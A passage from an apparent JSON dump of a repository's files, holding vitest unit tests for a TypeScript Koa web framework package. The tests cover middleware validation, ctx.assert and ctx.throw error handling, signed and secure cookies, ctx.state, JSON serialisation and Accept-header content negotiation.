=> {\n    const app = new Koa();\n\n    for (const v of [null, undefined, 0, false, 'not a function']) {\n      assert.throws(() => app.use(v as unknown as MiddlewareFunc), /middleware must be a function!/);\n    }\n  });\n\n  it('should remove generator functions support', () => {\n    const app = new Koa();\n    assert.throws(\n      () => {\n        // oxlint-disable-next-line func-names\n        app.use(function* (_ctx: unknown, _next: unknown) {\n          // empty\n        } as unknown as MiddlewareFunc);\n      },\n      // oxlint-disable-next-line prefer-await-to-callbacks\n      (err) => {\n        assert.ok(err instanceof TypeError);\n        assert.match(err.message, /Support for generators was removed/);\n        return true;\n      },\n    );\n  });\n});\n"
  },
  {
    "path": "packages/koa/test/context/assert.test.ts",
    "content": "import assert from 'node:assert/strict';\n\nimport { describe, it } from 'vitest';\n\nimport context from '../test-helpers/context.ts';\n\ndescribe('ctx.assert(value, status)', () => {\n  it('should throw an error', () => {\n    const ctx = context();\n\n    assert.throws(\n      () => {\n        ctx.assert(false, 404);\n      },\n      {\n        message: 'Not Found',\n        status: 404,\n        expose: true,\n      },\n    );\n\n    assert.throws(\n      () => {\n        ctx.assert(false, 401, 'Please login!');\n      },\n      {\n        message: 'Please login!',\n        status: 401,\n        expose: true,\n      },\n    );\n  });\n\n  it('should throw an error with error message', () => {\n    const ctx = context();\n\n    assert.throws(\n      () => {\n        ctx.assert(false, 404, 'Not Found');\n      },\n      {\n        message: 'Not Found',\n        status: 404,\n        expose: true,\n      },\n    );\n  });\n\n  it('should throw an error with error message and error props', () => {\n    const ctx = context();\n\n    assert.throws(\n      () => {\n        ctx.assert(false, 404, 'Not Found', { foo: 'bar' });\n      },\n      {\n        message: 'Not Found',\n        status: 404,\n        expose: true,\n        foo: 'bar',\n      },\n    );\n  });\n\n  it('should throw an error with error props', () => {\n    const ctx = context();\n\n    assert.throws(\n      () => {\n        ctx.assert(false, 500, { foo: 'bar' });\n      },\n      {\n        message: 'Internal Server Error',\n        status: 500,\n        expose: false,\n        foo: 'bar',\n      },\n    );\n\n    assert.throws(\n      () => {\n        ctx.assert(false, 500, {\n          foo: 'bar',\n          message: 'Internal Server Error custom message',\n        });\n      },\n      {\n        message: 'Internal Server Error custom message',\n        status: 500,\n        expose: false,\n        foo: 'bar',\n      },\n    );\n  });\n\n  it('should throw an error with default status', () => {\n    const ctx = context();\n\n    assert.throws(\n      () => {\n        ctx.assert(false);\n      },\n      {\n        message: 'Internal Server Error',\n        status: 500,\n        expose: false,\n      },\n    );\n  });\n});\n"
  },
  {
    "path": "packages/koa/test/context/cookies.test.ts",
    "content": "import assert from 'node:assert/strict';\n\nimport { request } from '@eggjs/supertest';\nimport { describe, it } from 'vitest';\n\nimport Koa, { type Context } from '../../src/index.ts';\n\ndescribe('ctx.cookies', () => {\n  describe('ctx.cookies.set()', () => {\n    it('should set an unsigned cookie', async () => {\n      const app = new Koa({\n        keys: ['a', 'b'],\n      });\n\n      app.use((ctx: Context) => {\n        ctx.cookies.set('name', 'jon');\n        ctx.status = 204;\n      });\n\n      const server = app.listen();\n\n      const res = await request(server).get('/').expect(204);\n\n      let cookies = res.headers['set-cookie'];\n      if (Array.isArray(cookies)) {\n        cookies = cookies.join(',');\n      }\n      const cookie = cookies.startsWith('name=');\n      assert.strictEqual(cookie, true);\n    });\n\n    describe('with .signed', () => {\n      it('should error when no .keys are set', () => {\n        const app = new Koa();\n\n        app.use((ctx: Context) => {\n          try {\n            ctx.cookies.set('foo', 'bar', { signed: true });\n          } catch (err) {\n            assert.ok(err instanceof Error);\n            ctx.body = err.message;\n          }\n        });\n\n        return request(app.callback()).get('/').expect('keys must be provided and should be an array');\n      });\n\n      it('should send a signed cookie', async () => {\n        const app = new Koa();\n\n        app.keys = ['a', 'b'];\n\n        app.use((ctx: Context) => {\n          ctx.cookies.set('name', 'jon', { signed: true });\n          ctx.status = 204;\n        });\n\n        const server = app.listen();\n\n        const res = await request(server).get('/').expect(204);\n\n        let cookies = res.headers['set-cookie'];\n        if (Array.isArray(cookies)) {\n          cookies = cookies.join(',');\n        }\n        assert.strictEqual(cookies.startsWith('name='), true);\n        assert.strictEqual(/(,|^)name\\.sig=/.test(cookies), true);\n      });\n    });\n\n    describe('with secure', () => {\n      it('should get secure from request', async () => {\n        const app = new Koa();\n\n        app.proxy = true;\n        app.keys = ['a', 'b'];\n\n        app.use((ctx) => {\n          ctx.cookies.set('name', 'jon', { signed: true });\n          ctx.status = 204;\n        });\n\n        const server = app.listen();\n\n        const res = await request(server)\n          .get('/')\n          .set('x-forwarded-proto', 'https') // mock secure\n          .expect(204);\n\n        let cookies = res.headers['set-cookie'];\n        if (Array.isArray(cookies)) {\n          cookies = cookies.join(',');\n        }\n        assert.strictEqual(cookies.startsWith('name='), true);\n        assert.strictEqual(/(,|^)name\\.sig=/.test(cookies), true);\n        assert.strictEqual(/secure/.test(cookies), true);\n      });\n    });\n  });\n\n  describe('ctx.cookies=', () => {\n    it('should override cookie work', async () => {\n      const app = new Koa();\n\n      app.use((ctx: Context) => {\n        ctx.cookies = {\n          set(key: string, value: string) {\n            ctx.set(key, value);\n            return this;\n          },\n          // oxlint-disable-next-line typescript/no-explicit-any\n        } as any;\n        ctx.cookies.set('name', 'jon');\n        ctx.status = 204;\n      });\n\n      const server = app.listen();\n\n      await request(server).get('/').expect('name', 'jon').expect(204);\n    });\n  });\n});\n"
  },
  {
    "path": "packages/koa/test/context/inspect.test.ts",
    "content": "import assert from 'node:assert/strict';\nimport util from 'node:util';\n\nimport { describe, it } from 'vitest';\n\nimport context from '../test-helpers/context.ts';\n\ndescribe('ctx.inspect()', () => {\n  it('should return a json representation', () => {\n    const ctx = context();\n    const toJSON = ctx.toJSON();\n\n    assert.deepStrictEqual(toJSON, ctx.inspect());\n    assert.deepStrictEqual(util.inspect(toJSON), util.inspect(ctx));\n  });\n});\n"
  },
  {
    "path": "packages/koa/test/context/onerror.test.ts",
    "content": "import assert from 'node:assert/strict';\nimport { once } from 'node:events';\nimport type { ServerResponse } from 'node:http';\nimport { runInNewContext } from 'node:vm';\n\nimport { request } from '@eggjs/supertest';\nimport { describe, it } from 'vitest';\n\nimport Koa, { type Context } from '../../src/index.ts';\nimport context from '../test-helpers/context.ts';\n\ndescribe('ctx.onerror(err)', () => {\n  it('should respond', () => {\n    const app = new Koa();\n\n    app.use((ctx: Context) => {\n      ctx.body = 'something else';\n\n      ctx.throw(418, 'boom');\n    });\n\n    const server = app.listen();\n\n    return request(server)\n      .get('/')\n      .expect(418)\n      .expect('Content-Type', 'text/plain; charset=utf-8')\n      .expect('Content-Length', '4');\n  });\n\n  it('should unset all headers', async () => {\n    const app = new Koa();\n\n    app.use((ctx: Context) => {\n      ctx.set('Vary', 'Accept-Encoding');\n      ctx.set('X-CSRF-Token', 'asdf');\n      ctx.body = 'response';\n\n      ctx.throw(418, 'boom');\n    });\n\n    const server = app.listen();\n\n    const res = await request(server)\n      .get('/')\n      .expect(418)\n      .expect('Content-Type', 'text/plain; charset=utf-8')\n      .expect('Content-Length', '4');\n\n    assert.equal(Object.hasOwn(res.headers, 'vary'), false);\n    assert.equal(Object.hasOwn(res.headers, 'x-csrf-token'), false);\n  });\n\n  it('should set headers specified in the error', async () => {\n    const app = new Koa();\n\n    app.use((ctx: Context) => {\n      ctx.set('Vary', 'Accept-Encoding');\n      ctx.set('X-CSRF-Token', 'asdf');\n      ctx.body = 'response';\n\n      throw Object.assign(new Error('boom'), {\n        status: 418,\n        expose: true,\n        headers: {\n          'X-New-Header': 'Value',\n        },\n      });\n    });\n\n    const server = app.listen();\n\n    const res = await request(server)\n      .get('/')\n      .expect(418)\n      .expect('Content-Type', 'text/plain; charset=utf-8')\n      .expect('X-New-Header', 'Value');\n\n    assert.equal(Object.hasOwn(res.headers, 'vary'), false);\n    assert.equal(Object.hasOwn(res.headers, 'x-csrf-token'), false);\n  });\n\n  it.skip('should ignore error after headerSent', async () => {\n    const app = new Koa();\n\n    app.use(async (ctx: Context) => {\n      ctx.status = 200;\n      ctx.set('X-Foo', 'Bar');\n      ctx.flushHeaders();\n      await Promise.reject(new Error('mock error'));\n      ctx.body = 'response';\n    });\n\n    await request(app.callback()).get('/').expect('X-Foo', 'Bar').expect(200);\n  });\n\n  it('should set status specified in the error using statusCode', () => {\n    const app = new Koa();\n\n    app.use((ctx: Context) => {\n      ctx.body = 'something else';\n      const err = new Error('Not found');\n      (err as unknown as { statusCode: number }).statusCode = 404;\n      throw err;\n    });\n\n    const server = app.listen();\n\n    return request(server).get('/').expect(404).expect('Content-Type', 'text/plain; charset=utf-8').expect('Not Found');\n  });\n\n  describe('when invalid err.statusCode', () => {\n    describe('not number', () => {\n      it('should respond 500', () => {\n        const app = new Koa();\n\n        app.use((ctx: Context) => {\n          ctx.body = 'something else';\n          const err = new Error('some error');\n          (err as unknown as { statusCode: string }).statusCode = 'notnumber';\n          throw err;\n        });\n\n        const server = app.listen();\n\n        return request(server)\n          .get('/')\n          .expect(500)\n          .expect('Content-Type', 'text/plain; charset=utf-8')\n          .expect('Internal Server Error');\n      });\n    });\n  });\n\n  describe('when invalid err.status', () => {\n    describe('not number', () => {\n      it('should respond 500', async () => {\n        const app = new Koa();\n\n        app.use((ctx: Context) => {\n          ctx.body = 'something else';\n          const err = new Error('some error');\n          (err as unknown as { status: string }).status = 'notnumber';\n          throw err;\n        });\n\n        const server = app.listen();\n\n        await request(server)\n          .get('/')\n          .expect(500)\n          .expect('Content-Type', 'text/plain; charset=utf-8')\n          .expect('Internal Server Error');\n      });\n    });\n    describe('when ENOENT error', () => {\n      it('should respond 404', () => {\n        const app = new Koa();\n\n        app.use((ctx: Context) => {\n          ctx.body = 'something else';\n          const err = new Error('test for ENOENT');\n          (err as unknown as { code: string }).code = 'ENOENT';\n          throw err;\n        });\n\n        const server = app.listen();\n\n        return request(server)\n          .get('/')\n          .expect(404)\n          .expect('Content-Type', 'text/plain; charset=utf-8')\n          .expect('Not Found');\n      });\n    });\n    describe('not http status code', () => {\n      it('should respond 500', () => {\n        const app = new Koa();\n\n        app.use((ctx: Context) => {\n          ctx.body = 'something else';\n          const err = new Error('some error');\n          (err as unknown as { status: number }).status = 9999;\n          throw err;\n        });\n\n        const server = app.listen();\n\n        return request(server)\n          .get('/')\n          .expect(500)\n          .expect('Content-Type', 'text/plain; charset=utf-8')\n          .expect('Internal Server Error');\n      });\n    });\n  });\n\n  describe('when error from another scope thrown', () => {\n    it('should handle it like a normal error', async () => {\n      const ExternError = runInNewContext('Error');\n      const app = new Koa();\n      const error = Object.assign(new ExternError('boom'), {\n        status: 418,\n        expose: true,\n      });\n      app.use(() => {\n        throw error;\n      });\n\n      const server = app.listen();\n\n      // oxlint-disable-next-line promise/avoid-new\n      const gotRightErrorPromise = new Promise<void>((resolve, reject) => {\n        app.on('error', (receivedError) => {\n          try {\n            assert.strictEqual(receivedError, error);\n            resolve();\n          } catch (e) {\n            reject(e);\n          }\n        });\n      });\n\n      await request(server).get('/').expect(418);\n\n      await gotRightErrorPromise;\n    });\n  });\n\n  describe('when non-error thrown', () => {\n    it('should respond with non-error thrown message', () => {\n      const app = new Koa();\n\n      app.use(() => {\n        throw 'string error'; // eslint-disable-line no-throw-literal\n      });\n\n      const server = app.listen();\n\n      return request(server)\n        .get('/')\n        .expect(500)\n        .expect('Content-Type', 'text/plain; charset=utf-8')\n        .expect('Internal Server Error');\n    });\n\n    it('should use res.getHeaderNames() accessor when available', () => {\n      let removed = 0;\n      const ctx = context();\n\n      (ctx.app as unknown as { emit: () => void }).emit = () => {\n        // ignore\n      };\n      ctx.res = {\n        getHeaderNames: () => ['content-type', 'content-length'],\n        removeHeader: () => removed++,\n        end: () => {\n          // ignore\n        },\n        emit: () => {\n          // ignore\n        },\n      } as unknown as ServerResponse;\n\n      ctx.onerror(new Error('error'));\n\n      assert.strictEqual(removed, 2);\n    });\n\n    it('should stringify error if it is an object', async () => {\n      const app = new Koa();\n\n      const errorEvent = once(app, 'error');\n\n      app.use(async () => {\n        throw { key: 'value' }; // eslint-disable-line no-throw-literal\n      });\n\n      await request(app.callback()).get('/').expect(500).expect('Internal Server Error');\n\n      const errs: Error[] = await errorEvent;\n      const err = errs[0];\n      assert.strictEqual(err.message, 'non-error thrown: {\"key\":\"value\"}');\n    });\n  });\n});\n"
  },
  {
    "path": "packages/koa/test/context/state.test.ts",
    "content": "import assert from 'node:assert/strict';\n\nimport { request } from '@eggjs/supertest';\nimport { describe, it } from 'vitest';\n\nimport Koa from '../../src/index.ts';\n\ndescribe('ctx.state', () => {\n  it('should provide a ctx.state namespace', () => {\n    const app = new Koa();\n\n    app.use((ctx) => {\n      assert.deepEqual(ctx.state, {});\n      ctx.state.user = 'example';\n    });\n\n    app.use((ctx) => {\n      assert.deepEqual(ctx.state, { user: 'example' });\n    });\n\n    const server = app.listen();\n\n    return request(server).get('/').expect(404);\n  });\n\n  it('should override state getter', () => {\n    const app = new Koa();\n    app.ContextClass = class extends app.ContextClass {\n      get state(): Record<string, string> {\n        return { foo: 'bar' };\n      }\n    };\n\n    app.use((ctx) => {\n      assert.deepEqual(ctx.state, { foo: 'bar' });\n      // @ts-expect-error for testing\n      ctx.state.user = 'example';\n    });\n\n    app.use((ctx) => {\n      assert.deepEqual(ctx.state, { foo: 'bar' });\n    });\n\n    const server = app.listen();\n\n    return request(server).get('/').expect(404);\n  });\n});\n"
  },
  {
    "path": "packages/koa/test/context/throw.test.ts",
    "content": "import assert from 'node:assert/strict';\n\nimport type { HttpError } from 'http-errors';\nimport { describe, it } from 'vitest';\n\nimport context from '../test-helpers/context.ts';\n\ndescribe('ctx.throw(msg)', () => {\n  it('should set .status to 500', () => {\n    const ctx = context();\n\n    try {\n      ctx.throw('boom');\n    } catch (e) {\n      const err = e as HttpError;\n      assert.equal(err.status, 500);\n      assert.equal(err.expose, false);\n    }\n  });\n});\n\ndescribe('ctx.throw(err)', () => {\n  it('should set .status to 500', () => {\n    const ctx = context();\n    const err = new Error('test');\n\n    try {\n      ctx.throw(err);\n    } catch (e) {\n      const err = e as HttpError;\n      assert.equal(err.status, 500);\n      assert.equal(err.message, 'test');\n      assert.equal(err.expose, false);\n    }\n  });\n});\n\ndescribe('ctx.throw(err, status)', () => {\n  it('should throw the error and set .status', () => {\n    const ctx = context();\n    const error = new Error('test');\n\n    try {\n      ctx.throw(error, 422);\n    } catch (e) {\n      const err = e as HttpError;\n      assert.strictEqual(err.status, 422);\n      assert.strictEqual(err.message, 'test');\n      assert.strictEqual(err.expose, true);\n    }\n  });\n});\n\ndescribe('ctx.throw(status, err)', () => {\n  it('should throw the error and set .status', () => {\n    const ctx = context();\n    const error = new Error('test');\n\n    try {\n      ctx.throw(422, error);\n    } catch (e) {\n      const err = e as HttpError;\n      assert.strictEqual(err.status, 422);\n      assert.strictEqual(err.message, 'test');\n      assert.strictEqual(err.expose, true);\n    }\n  });\n});\n\ndescribe('ctx.throw(msg, status)', () => {\n  it('should throw an error', () => {\n    const ctx = context();\n\n    try {\n      ctx.throw('name required', 400);\n    } catch (e) {\n      const err = e as HttpError;\n      assert.strictEqual(err.message, 'name required');\n      assert.strictEqual(err.status, 400);\n      assert.strictEqual(err.expose, true);\n    }\n  });\n});\n\ndescribe('ctx.throw(status, msg)', () => {\n  it('should throw an error', () => {\n    const ctx = context();\n\n    try {\n      ctx.throw(400, 'name required');\n    } catch (e) {\n      const err = e as HttpError;\n      assert.strictEqual(err.message, 'name required');\n      assert.strictEqual(400, err.status);\n      assert.strictEqual(true, err.expose);\n    }\n  });\n});\n\ndescribe('ctx.throw(status, errorProps)', () => {\n  it('should throw an error', () => {\n    const ctx = context();\n\n    try {\n      ctx.throw(400, { foo: 'bar' });\n    } catch (e) {\n      const err = e as HttpError;\n      assert.strictEqual(err.message, 'Bad Request');\n      assert.strictEqual(400, err.status);\n      assert.strictEqual(true, err.expose);\n      assert.strictEqual('bar', err.foo);\n    }\n  });\n});\n\ndescribe('ctx.throw(status)', () => {\n  it('should throw an error', () => {\n    const ctx = context();\n\n    try {\n      ctx.throw(400);\n    } catch (e) {\n      const err = e as HttpError;\n      assert.strictEqual(err.message, 'Bad Request');\n      assert.strictEqual(err.status, 400);\n      assert.strictEqual(err.expose, true);\n    }\n  });\n\n  it('should 500 status instead of invalid status', () => {\n    const ctx = context();\n\n    try {\n      ctx.throw(999);\n    } catch (e) {\n      const err = e as HttpError;\n      assert.strictEqual(err.message, 'Internal Server Error');\n      assert.strictEqual(err.status, 500);\n      assert.strictEqual(err.expose, false);\n    }\n  });\n\n  describe('when not valid status', () => {\n    it('should not expose', () => {\n      const ctx = context();\n\n      try {\n        const err = new Error('some error');\n        (err as unknown as { status: number }).status = -1;\n        ctx.throw(err);\n      } catch (e) {\n        const err = e as HttpError;\n        assert.strictEqual(err.message, 'some error');\n        assert.strictEqual(err.expose, false);\n        assert.strictEqual(err.status, 500);\n      }\n    });\n  });\n});\n\ndescribe('ctx.throw(status, msg, props)', () => {\n  it('should mixin props', () => {\n    const ctx = context();\n\n    try {\n      ctx.throw(400, 'msg', { prop: true });\n    } catch (e) {\n      const err = e as HttpError;\n      assert.strictEqual(err.message, 'msg');\n      assert.strictEqual(err.status, 400);\n      assert.strictEqual(err.expose, true);\n      assert.strictEqual(err.prop, true);\n    }\n  });\n\n  describe('when props include status', () => {\n    it('should be ignored', () => {\n      const ctx = context();\n\n      try {\n        ctx.throw(400, 'msg', {\n          prop: true,\n          status: -1,\n        });\n      } catch (e) {\n        const err = e as HttpError;\n        assert.strictEqual(err.message, 'msg');\n        assert.strictEqual(err.status, 400);\n        assert.strictEqual(err.expose, true);\n        assert.strictEqual(err.prop, true);\n      }\n    });\n  });\n});\n\ndescribe('ctx.throw(msg, props)', () => {\n  it('should mixin props', () => {\n    const ctx = context();\n\n    try {\n      ctx.throw('msg', { prop: true });\n    } catch (e) {\n      const err = e as HttpError;\n      assert.strictEqual(err.message, 'msg');\n      assert.strictEqual(err.status, 500);\n      assert.strictEqual(err.expose, false);\n      assert.strictEqual(err.prop, true);\n    }\n  });\n});\n\ndescribe('ctx.throw(status, props)', () => {\n  it('should mixin props', () => {\n    const ctx = context();\n\n    try {\n      ctx.throw(400, { prop: true });\n    } catch (e) {\n      const err = e as HttpError;\n      assert.strictEqual(err.message, 'Bad Request');\n      assert.strictEqual(err.status, 400);\n      assert.strictEqual(err.expose, true);\n      assert.strictEqual(err.prop, true);\n    }\n  });\n});\n\ndescribe('ctx.throw(err, props)', () => {\n  it('should mixin props', () => {\n    const ctx = context();\n\n    try {\n      ctx.throw(new Error('test'), { prop: true });\n    } catch (e) {\n      const err = e as HttpError;\n      assert.strictEqual(err.message, 'test');\n      assert.strictEqual(err.status, 500);\n      assert.strictEqual(err.expose, false);\n      assert.strictEqual(err.prop, true);\n    }\n  });\n});\n"
  },
  {
    "path": "packages/koa/test/context/toJSON.test.ts",
    "content": "import assert from 'node:assert/strict';\n\nimport { describe, it } from 'vitest';\n\nimport context from '../test-helpers/context.ts';\n\ndescribe('ctx.toJSON()', () => {\n  it('should return a json representation', () => {\n    const ctx = context();\n\n    ctx.req.method = 'POST';\n    ctx.req.url = '/items';\n    ctx.req.headers['content-type'] = 'text/plain';\n    ctx.status = 200;\n    ctx.body = '<p>Hey</p>';\n\n    // oxlint-disable-next-line unicorn/prefer-structured-clone\n    const obj = JSON.parse(JSON.stringify(ctx));\n    const req = obj.request;\n    const res = obj.response;\n\n    assert.deepEqual(\n      {\n        method: 'POST',\n        url: '/items',\n        header: {\n          'content-type': 'text/plain',\n        },\n      },\n      req,\n    );\n\n    assert.deepEqual(\n      {\n        status: 200,\n        message: 'OK',\n        header: {\n          'content-type': 'text/html; charset=utf-8',\n          'content-length': '10',\n        },\n      },\n      res,\n    );\n  });\n});\n"
  },
  {
    "path": "packages/koa/test/index.test.ts",
    "content": "import assert from 'node:assert/strict';\n\nimport { test, expect } from 'vitest';\n\n// oxlint-disable-next-line no-namespace\nimport Koa, * as KoaModule from '../src/index.ts';\n\ntest('should export Koa class', () => {\n  assert.equal(typeof Koa, 'function');\n  expect(Object.keys(Koa)).toMatchSnapshot();\n  expect(Object.keys(KoaModule)).toMatchSnapshot();\n});\n"
  },
  {
    "path": "packages/koa/test/index.test.ts.snapshot",
    "content": "exports[`should export Koa class 1`] = `\n[\n  \"HttpError\"\n]\n`;\n\nexports[`should export Koa class 2`] = `\n[\n  \"Application\",\n  \"Context\",\n  \"Request\",\n  \"Response\",\n  \"default\"\n]\n`;\n"
  },
  {
    "path": "packages/koa/test/request/accept.test.ts",
    "content": "import assert from 'node:assert/strict';\n\nimport accepts from 'accepts';\nimport { describe, it } from 'vitest';\n\nimport context, { request as createRequest } from '../test-helpers/context.ts';\n\ndescribe('ctx.accept', () => {\n  it('should return an Accept instance', () => {\n    const ctx = context();\n    ctx.req.headers.accept = 'application/*;q=0.2, image/jpeg;q=0.8, text/html, text/plain';\n    assert.ok(ctx.accept instanceof accepts);\n  });\n});\n\ndescribe('ctx.accept=', () => {\n  it('should replace the accept object', () => {\n    const ctx = context();\n    ctx.req.headers.accept = 'text/plain';\n    assert.deepStrictEqual(ctx.accepts(), ['text/plain']);\n\n    const request = createRequest();\n    request.req.headers.accept = 'application/*;q=0.2, image/jpeg;q=0.8, text/html, text/plain';\n    ctx.accept = accepts(request.req);\n    assert.deepStrictEqual(ctx.accepts(), ['text/html', 'text/plain', 'image/jpeg', 'application/*']);\n  });\n});\n"
  },
  {
    "path": "packages/koa/test/request/accepts.test.ts",
    "content": "import assert from 'node:assert/strict';\n\nimport { describe, it } from 'vitest';\n\nimport context from '../test-helpers/context.ts';\n\ndescribe('ctx.accepts(types)', () => {\n  describe('with no arguments', () => {\n    describe('when Accept is populated', () => {\n      it('should return all accepted types', () => {\n        const ctx = context();\n        ctx.req.headers.accept = 'application/*;q=0.2, image/jpeg;q=0.8, text/html, text/plain';\n        assert.deepStrictEqual(ctx.accepts(), ['text/html', 'text/plain', 'image/jpeg', 'application/*']);\n      });\n    });\n  });\n\n  describe('with no valid types', () => {\n    describe('when Accept is populated', () => {\n      it('should return false', () => {\n        const ctx = context();\n        ctx.req.headers.accept = 'application/*;q=0.2, image/jpeg;q=0.8, text/html, text/plain';\n        assert.strictEqual(ctx.accepts('image/png', 'image/tiff'), false);\n      });\n    });\n\n    describe('when Accept is not populated', () => {\n      it('should return the first type', () => {\n        const ctx = context();\n        assert.strictEqual(ctx.accepts('text/html', 'text/plain', 'image/jpeg', 'application/*'), 'text/html');\n      });\n    });\n  });\n\n  describe('when extensions are given', () => {\n    it('should convert to mime types', () => {\n      const ctx = context();\n      ctx.req.headers.accept = 'text/plain, text/html';\n      assert.strictEqual(ctx.accepts('html'), 'html');\n      assert.strictEqual(ctx.accepts('.html'), '.html');\n      assert.strictEqual(ctx.accepts('txt'), 'txt');\n      assert.strictEqual(ctx.accepts('.txt'), '.txt');\n      assert.strictEqual(ctx.accepts('png'), false);\n    });\n  });\n\n  describe('when an array is given', () => {\n    it('should return the first match', () => {\n      const ctx = context();\n      ctx.req.headers.accept = 'text/plain, text/html';\n      assert.strictEqual(ctx.accepts(['png', 'text', 'html']), 'text');\n      assert.strictEqual(ctx.accepts(['png', 'html']), 'html');\n    });\n  });\n\n  describe('when multiple arguments are given', () => {\n    it('should return the first match', () => {\n      const ctx = context();\n      ctx.req.headers.accept = 'text/plain, text/html';\n      assert.strictEqual(ctx.accepts('png', 'text', 'html'), 'text');\n      assert.strictEqual(ctx.accepts('png', 'html'), 'html');\n    });\n  });\n\n  describe('when value present in Accept is an exact match', () => {\n    it('should return the type', () => {\n      const ctx = context();\n      ctx.req.headers.accept = 'text/plain, text/html';\n      assert.strictEqual(ctx.accepts('text/html'), 'text/html');\n      assert.strictEqual(ctx.accepts('text/plain'), 'text/plain');\n    });\n  });\n\n  describe('when value present in Accept is a type match', () => {\n    it('should return the type', () => {\n      const ctx = context();\n      ctx.req.headers.accept = 'application/json, */*';\n      assert.strictEqual(ctx.accepts('text/html'), 'text/html');\n      assert.strictEqual(ctx.accepts('text/plain'), 'text/plain');\n      assert.strictEqual(ctx.accepts('image/png'), 'image/png');\n    });\n  });\n\n  describe('when value present in Accept is a subtype match', () => {\n    it('should return the type', () => {\n      const ctx = context();\n      ctx.req.headers.accept = 'application/json, text/*';\n      assert.strictEqual(ctx.accepts('text/html'), 'text/html');\n      assert.strictEqual(ctx.accepts('text/plain'), 'text/plain');\n      assert.strictEqual(ctx.accepts('image/png'), false);\n      assert.strictEqual(ctx.accepts('png'), false);\n    });\n  });\n});\n"
  },
  {
    "path": "packages/koa/test/request/acceptsCharsets.test.ts",
    "content": "import assert from 'node:assert/strict';\n\nimport { describe, it } from 'vitest';\n\nimport context from '../test-helpers/context.ts';\n\ndescribe('ctx.acceptsCharsets()', () => {\n  describe('with no arguments', () => {\n    describe('when Accept-Charset is populated', () => {\n      it('should return accepted types', () => {\n        const ctx = context();\n        ctx.req.headers['accept-charset'] = 'utf-8, iso-8859-1;q=0.2, utf-7;q=0.5';\n        assert.deepStrictEqual(ctx.acceptsCharsets(), [\n          // oxlint-disable-next-line unicorn/text-encoding-identifier-case\n          'utf-8',\n          'utf-7',\n          'iso-8859-1',\n        ]);\n      });\n    });\n  });\n\n  describe('with multiple arguments', () => {\n    describe('when Accept-Charset is populated', () => {\n      describe('if any types match', () => {\n        it('should return the best fit', () => {\n          const ctx = context();\n          ctx.req.headers['accept-charset'] = 'utf-8, iso-8859-1;q=0.2, utf-7;q=0.5';\n          // oxlint-disable-next-line unicorn/text-encoding-identifier-case\n          assert.strictEqual(ctx.acceptsCharsets('utf-7', 'utf-8'), 'utf-8');\n        });\n      });\n\n      describe('if no types match', () => {\n        it('should return false', () => {\n          const ctx = context();\n          ctx.req.headers['accept-charset'] = 'utf-8, iso-8859-1;q=0.2, utf-7;q=0.5';\n          assert.strictEqual(ctx.acceptsCharsets('utf-16'), false);\n        });\n      });\n    });\n\n    describe('when Accept-Charset is not populated', () => {\n      it('should return the first type', () => {\n        const ctx = context();\n        // oxlint-disable-next-line unicorn/text-encoding-identifier-case\n        assert.strictEqual(ctx.acceptsCharsets('utf-7', 'utf-8'), 'utf-7');\n      });\n    });\n  });\n\n  describe('with an array', () => {\n    it('should return the best fit', () => {\n      const ctx = context();\n      ctx.req.headers['accept-charset'] = 'utf-8, iso-8859-1;q=0.2, utf-7;q=0.5';\n      // oxlint-disable-next-line unicorn/text-encoding-identifier-case\n      assert.strictEqual(ctx.acceptsCharsets(['utf-7', 'utf-8']), 'utf-8');\n    });\n  });\n});\n"
  },
  {
    "path": "packages/koa/test/request/acceptsEncodings.test.ts",
    "content": "import assert from 'node:assert/strict';\n\nimport { describe, it } from 'vitest';\n\nimport context from '../test-helpers/context.ts';\n\ndescribe('ctx.acceptsEncodings()', () => {\n  describe('with no arguments', () => {\n    describe('when Accept-Encoding is populated', () => {\n      it('should return accepted types', () => {\n        const ctx = context();\n        ctx.req.headers['accept-encoding'] = 'gzip, compress;q=0.2';\n        assert.deepStrictEqual(ctx.acceptsEncodings(), ['gzip', 'compress', 'identity']);\n        assert.strictEqual(ctx.acceptsEncodings('gzip', 'compress'), 'gzip');\n      });\n    });\n\n    describe('when Accept-Encoding is not populated', () => {\n      it('should return identity', () => {\n        const ctx = context();\n        assert.deepStrictEqual(ctx.acceptsEncodings(), ['identity']);\n        assert.strictEqual(ctx.acceptsEncodings('gzip', 'deflate', 'identity'), 'identity');\n      });\n    });\n  });\n\n  describe('with multiple arguments', () => {\n    it('should return the best fit', () => {\n      const ctx = context();\n      ctx.req.headers['accept-encoding'] = 'gzip, compress;q=0.2';\n      assert.strictEqual(ctx.acceptsEncodings('compress', 'gzip'), 'gzip');\n      assert.strictEqual(ctx.acceptsEncodings('gzip', 'compress'), 'gzip');\n    });\n  });\n\n  describe('with an array', () => {\n    it('should return the best fit', () => {\n      const ctx = context();\n      ctx.req.headers['accept-encoding'] = 'gzip, compress;q=0.2';\n      assert.strictEqual(ctx.acceptsEncodings(['compress', 'gzip']), 'gzip');\n    });\n  });\n});\n"
  },
  {
    "path": "packages/koa/test/request/acceptsLanguages.test.ts",
    "content": "import assert from 'node:assert/strict';\n\nimport { describe, it } from 'vitest';\n\nimport context from '../test-helpers/context.ts';\n\ndescribe('ctx.acceptsLanguages(langs)', () => {\n  describe('with no arguments', () => {\n    describe('when Accept-Language is populated', () => {\n      it('should return accepted types', () => {\n        const ctx = context();\n        ctx.req.headers['accept-language'] = 'en;q=0.8, es, pt';\n        assert.deepStrictEqual(ctx.acceptsLanguages(), ['es', 'pt', 'en']);\n      });\n    });\n  });\n\n  describe('with multiple arguments', () => {\n    describe('when Accept-Language is populated', () => {\n      describe('if any types types match', () => {\n        it('should return the best fit', () => {\n          const ctx = context();\n          ctx.req.headers['accept-language'] = 'en;q=0.8, es, pt';\n          assert.strictEqual(ctx.acceptsLanguages('es', 'en'), 'es');\n        });\n      });\n\n      describe('if no types match', () => {\n        it('should return false', () => {\n          const ctx = context();\n          ctx.req.headers['accept-language'] = 'en;q=0.8, es, pt';\n          assert.strictEqual(ctx.acceptsLanguages('fr', 'au'), false);\n        });\n      });\n    });\n\n    describe('when Accept-Language is not populated', () => {\n      it('should return the first type', () => {\n        const ctx = context();\n        assert.strictEqual(ctx.acceptsLanguages('es', 'en'), 'es');\n      });\n    });\n  });\n\n  describe('with an array', () => {\n    it('should return the best fit', () => {\n      const ctx = context();\n      ctx.req.headers['accept-language'] = 'en;q=0.8, es, pt';\n      assert.strictEqual(ctx.acceptsLanguages(['es', 'en']), 'es');\n    });\n  });\n});\n"
  },
  {
    "path": "packages/koa/test/request/charset.test.ts",
